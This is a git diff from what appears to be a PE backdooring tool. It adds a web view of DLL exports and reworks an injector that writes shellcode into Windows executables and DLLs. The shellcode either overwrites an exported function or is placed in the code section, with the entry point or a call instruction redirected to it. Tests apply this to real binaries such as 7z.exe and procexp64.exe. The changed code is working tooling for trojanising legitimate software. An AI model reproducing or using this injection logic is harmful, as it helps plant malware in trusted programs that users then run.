diff --git a/app/templates/exe.html b/app/templates/exe.html
index 4711589..97a742c 100644
--- a/app/templates/exe.html
+++ b/app/templates/exe.html
@@ -1,12 +1,43 @@
+
+
+
+{% include 'header.html' %}
+
+
+{% include 'navigation.html' %}
- IAT
+
+
+
+
Exports
+
+
+
+ | Name |
+ Address |
+ Size (Approx) |
+
+ {% for export in exports %}
+
+ | {{export["name"]}} |
+ {{export["addr"] | hexint}} |
+ {{export["size"]}} |
+
+ {% endfor %}
+
+
+
IAT
{% for dll in iat %}
-
DLL: {{dll}}
+
DLL: {{dll}}
{% for entry in iat[dll] %}
- - {{ entry.dll_name }}: {{ entry.func_name }} ({{ entry.iat_vaddr }})
+ - {{ entry.dll_name }}: {{ entry.func_name }} ({{ entry.iat_vaddr | hexint }})
{% endfor%}
{% endfor %}
+
+
+
+
\ No newline at end of file
diff --git a/app/views.py b/app/views.py
index f6150e4..3c37d86 100644
--- a/app/views.py
+++ b/app/views.py
@@ -20,7 +20,11 @@ def index():
def exe_view(exe_name):
path = "{}/{}".format(PATH_EXES, exe_name)
superpe = SuperPe(path)
- return render_template('exe.html', superpe=superpe, iat=superpe.get_iat_entries())
+ return render_template('exe.html',
+ superpe=superpe,
+ iat=superpe.get_iat_entries(),
+ exports=superpe.get_exports_full(),
+ )
@views.route("/exes")
@@ -30,3 +34,7 @@ def exes_view():
exes.append(file)
return render_template('exes.html', exes=exes)
+
+@views.app_template_filter('hexint')
+def hex_filter(s):
+ return hex(s)
\ No newline at end of file
diff --git a/pe/derbackdoorer.py b/pe/derbackdoorer.py
index 4205961..b7be4be 100644
--- a/pe/derbackdoorer.py
+++ b/pe/derbackdoorer.py
@@ -57,9 +57,6 @@ class PeBackdoor:
if exp.name.decode() == name:
#print(hex(exp.address), exp.name.decode())
addr = exp.address
-
- logger.info(f'Using DLL Export "{name}" at RVA 0x{addr:X} . Attempting to hijack it...')
-
return addr
diff --git a/pe/superpe.py b/pe/superpe.py
index 31c79a5..05a1c8f 100644
--- a/pe/superpe.py
+++ b/pe/superpe.py
@@ -223,6 +223,33 @@ class SuperPe():
res.append(e.name.decode())
return res
+
+ def get_exports_full(self):
+ """Return a list of exported functions (names) from the PE file"""
+ d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
+ self.pe.parse_data_directories(directories=d)
+ if self.pe.DIRECTORY_ENTRY_EXPORT.symbols == 0:
+ return []
+ res = []
+ for e in self.pe.DIRECTORY_ENTRY_EXPORT.symbols:
+ a = {
+ "name": e.name.decode(),
+ "addr": e.address
+ }
+ res.append(a)
+ # sort the exports by address
+ res.sort(key=lambda x: x["addr"])
+
+ # calculate the size of each export
+ for idx, entry in enumerate(res):
+ next_entry = res[idx + 1] if idx + 1 < len(res) else None
+ if next_entry is None:
+ entry["size"] = 0
+ else:
+ entry["size"] = next_entry["addr"] - entry["addr"]
+
+ return res
+
## Helpers
@@ -235,12 +262,31 @@ class SuperPe():
# Calculate the difference between the VA and the section's virtual address
virtual_offset = virtual_address - section.VirtualAddress
# Add the difference to the section's pointer to raw data
+
+ #print("0x{:X} 0x{:X} -> 0x{:X}".format(virtual_offset, section.PointerToRawData, virtual_offset + section.PointerToRawData ))
return virtual_offset
#physical_address = section.PointerToRawData + virtual_offset
#return physical_address
return None
+ def get_physical_address2(self, virtual_address) -> int:
+ """Convert a virtual address to a physical address in the PE file"""
+ # Iterate through the section headers to find which section contains the VA
+ for section in self.pe.sections:
+ # Check if the VA is within the range of this section
+ if section.VirtualAddress <= virtual_address < section.VirtualAddress + section.Misc_VirtualSize:
+ # Calculate the difference between the VA and the section's virtual address
+ virtual_offset = virtual_address - section.VirtualAddress
+ # Add the difference to the section's pointer to raw data
+
+ logger.info("0x{:X} 0x{:X} -> 0x{:X}".format(virtual_offset, section.PointerToRawData, virtual_offset + section.PointerToRawData ))
+ return virtual_offset + section.PointerToRawData
+ #physical_address = section.PointerToRawData + virtual_offset
+ #return physical_address
+ return None
+
+
def write_pe_to_file(self, outfile: str):
self.pe.write(outfile)
diff --git a/phases/injector.py b/phases/injector.py
index bfcc02f..36d204b 100644
--- a/phases/injector.py
+++ b/phases/injector.py
@@ -44,69 +44,69 @@ def inject_exe(
superpe = SuperPe(exe_in)
pe_backdoorer = PeBackdoor(superpe, main_shc, carrier_invoke_style)
- # Find a nice location for the shellcode
shellcode_offset: int = 0
- if superpe.is_dll(): # DLL
- shellcode_offset = 0
- else: # EXE
- pass
- if True:
+ if superpe.is_dll() and settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
+ # Special case. put it at the beginning of the exported DLL function
+ logger.info("--[ Overwrite DLL function {} with shellcode".format(settings.dllfunc))
+ rva = pe_backdoorer.getExportEntryPoint(settings.dllfunc)
+ shellcode_offset = superpe.get_physical_address2(rva)
+ logger.info(f'---[ Using DLL Export "{settings.dllfunc}" at RVA 0x{rva:X} offset 0x{shellcode_offset:X} to overwrite')
+ superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc)
+
+ else: # Put it somewhere in the code section, and rewire the flow
sect = superpe.get_code_section()
if sect == None:
raise Exception('Could not find code section in input PE file!')
sect_name = sect.Name.decode().rstrip('\x00')
sect_size = sect.Misc_VirtualSize # Better than: SizeOfRawData
-
if sect_size < l:
raise Exception("Shellcode too large: {} > {}".format(
l, sect_size
))
shellcode_offset = int((sect_size - l) / 2)
- shellcode_rva = superpe.pe.get_rva_from_offset(shellcode_offset)
- logger.info("--( Inject: Shellcode rva:0x{:X} offset:0x{:X}".format(
- shellcode_rva, shellcode_offset))
+ shellcode_rva = superpe.pe.get_rva_from_offset(shellcode_offset)
+ logger.info("--( Inject: Shellcode rva:0x{:X} offset:0x{:X}".format(
+ shellcode_rva, shellcode_offset))
- # Copy the shellcode
- superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc)
+ # Copy the shellcode
+ superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc)
- # HACK
- pe_backdoorer.shellcodeOffset = shellcode_offset
- pe_backdoorer.shellcodeOffsetRel = shellcode_offset - sect.PointerToRawData
- pe_backdoorer.shellcodeAddr = shellcode_rva + superpe.pe.OPTIONAL_HEADER.ImageBase
+ # HACK
+ pe_backdoorer.shellcodeOffset = shellcode_offset
+ pe_backdoorer.shellcodeOffsetRel = shellcode_offset - sect.PointerToRawData
+ pe_backdoorer.shellcodeAddr = shellcode_rva + superpe.pe.OPTIONAL_HEADER.ImageBase
- # rewire flow
- if superpe.is_dll() and settings.dllfunc != "":
- logger.info("---( Rewire: DLL function: {} ".format(settings.dllfunc))
+ # rewire flow
+ if superpe.is_dll() and settings.dllfunc != "":
+ logger.info("---( Rewire: DLL function: {} ".format(settings.dllfunc))
- if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
- #raise Exception("--( Inject DLL: Change Entry Point unsupported when set ".format(
- # settings.dllfunc))
- pass
+ if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
+ # Handled above, without arriving here
+ raise Exception("We should not land here")
- elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
- addr = pe_backdoorer.getExportEntryPoint(settings.dllfunc)
+ elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
+ addr = pe_backdoorer.getExportEntryPoint(settings.dllfunc)
+ logger.info("--( Inject DLL: Patch {} (0x{:X})".format(
+ settings.dllfunc, addr))
+ pe_backdoorer.backdoor_function(addr, shellcode_rva)
- logger.info("--( Inject DLL: Patch {} (0x{:X})".format(
- settings.dllfunc, addr))
- pe_backdoorer.backdoor_function(addr, shellcode_rva)
+ else: # EXE
+ logger.info("---( Rewire: EXE")
- else: # EXE
- logger.info("---( Rewire: EXE")
+ if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
+ logger.info("--( Inject EXE: Change Entry Point to 0x{:X}".format(
+ shellcode_rva))
+ superpe.set_entrypoint(shellcode_rva)
- if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
- logger.info("--( Inject EXE: Change Entry Point to 0x{:X}".format(
- shellcode_rva))
- superpe.set_entrypoint(shellcode_rva)
+ elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
+ addr = superpe.get_entrypoint()
+ logger.info("--( Inject EXE: Patch main() (0x{:X})".format(
+ addr))
+ pe_backdoorer.backdoor_function(addr, shellcode_rva)
- elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
- addr = superpe.get_entrypoint()
- logger.info("--( Inject EXE: Patch main() (0x{:X})".format(
- addr))
- pe_backdoorer.backdoor_function(addr, shellcode_rva)
-
- if source_style == FunctionInvokeStyle.iat_reuse:
- injected_fix_iat(superpe, project.carrier, project.exe_host)
- injected_fix_data(superpe, project.carrier, project.exe_host)
+ if source_style == FunctionInvokeStyle.iat_reuse:
+ injected_fix_iat(superpe, project.carrier, project.exe_host)
+ injected_fix_data(superpe, project.carrier, project.exe_host)
# We done
superpe.write_pe_to_file(exe_out)
diff --git a/tester.py b/tester.py
index adb2984..367d9e0 100644
--- a/tester.py
+++ b/tester.py
@@ -28,7 +28,7 @@ def test_exe():
prepare_project("unittest", settings)
# 7z, peb-walk, change-entrypoint
- print("Test: 7z, peb-walk, change-entrypoint")
+ print("Test EXE 1/4: 7z, peb-walk, change-entrypoint")
settings.source_style = FunctionInvokeStyle.peb_walk
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
settings.inject_exe_in = PATH_EXES + "7z.exe"
@@ -37,7 +37,7 @@ def test_exe():
print("Error")
# 7z, peb-walk, hijack
- print("Test: 7z, peb-walk, hijack main")
+ print("Test EXE 2/4: 7z, peb-walk, hijack main")
settings.source_style = FunctionInvokeStyle.peb_walk
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
settings.inject_exe_in = PATH_EXES + "7z.exe"
@@ -46,7 +46,7 @@ def test_exe():
print("Error")
# procexp, iat-reuse, change-entrypoint
- print("Test: procexp, iat-reuse, change-entrypoint")
+ print("Test EXE 3/4: procexp, iat-reuse, change-entrypoint")
settings.source_style = FunctionInvokeStyle.iat_reuse
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
settings.inject_exe_in = PATH_EXES + "procexp64.exe"
@@ -55,7 +55,7 @@ def test_exe():
print("Error")
# procexp, iat-reuse, backdoor
- print("Test: procexp, iat-reuse, backdoor")
+ print("Test EXE 4/4: procexp, iat-reuse, backdoor")
settings.source_style = FunctionInvokeStyle.iat_reuse
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
settings.inject_exe_in = PATH_EXES + "procexp64.exe"
@@ -73,7 +73,7 @@ def test_dll():
settings.prep_web("unittest")
prepare_project("unittest", settings)
- print("Test: libbz2-1.dll, peb-walk, change-entrypoint dllMain (func=None)")
+ print("Test DLL 1/6: libbz2-1.dll, peb-walk, change-entrypoint dllMain (func=None)")
settings.source_style = FunctionInvokeStyle.peb_walk
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
settings.inject_exe_in = PATH_EXES + "libbz2-1.dll"
@@ -81,7 +81,7 @@ def test_dll():
if start(settings) != 0:
print("Error")
- print("Test: libbz2-1.dll, peb-walk, hijack dllMain (func=None)")
+ print("Test DLL 2/6: libbz2-1.dll, peb-walk, hijack dllMain (func=None)")
settings.source_style = FunctionInvokeStyle.peb_walk
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
settings.inject_exe_in = PATH_EXES + "libbz2-1.dll"
@@ -89,8 +89,8 @@ def test_dll():
if start(settings) != 0:
print("Error")
- print("Test: libbz2-1.dll, peb-walk, change-entrypoint, func=BZ2_bzdopen")
- settings.dllfunc = "BZ2_bzdopen"
+ print("Test DLL 3/6: libbz2-1.dll, peb-walk, change-entrypoint, func=BZ2_bzDecompress")
+ settings.dllfunc = "BZ2_bzDecompress"
settings.source_style = FunctionInvokeStyle.peb_walk
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
settings.inject_exe_in = PATH_EXES + "libbz2-1.dll"
@@ -98,7 +98,7 @@ def test_dll():
if start(settings) != 0:
print("Error")
- print("Test: libbz2-1.dll, peb-walk, hijack main, func=BZ2_bzdopen")
+ print("Test DLL 4/6: libbz2-1.dll, peb-walk, hijack main, func=BZ2_bzdopen")
settings.dllfunc = "BZ2_bzdopen"
settings.source_style = FunctionInvokeStyle.peb_walk
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr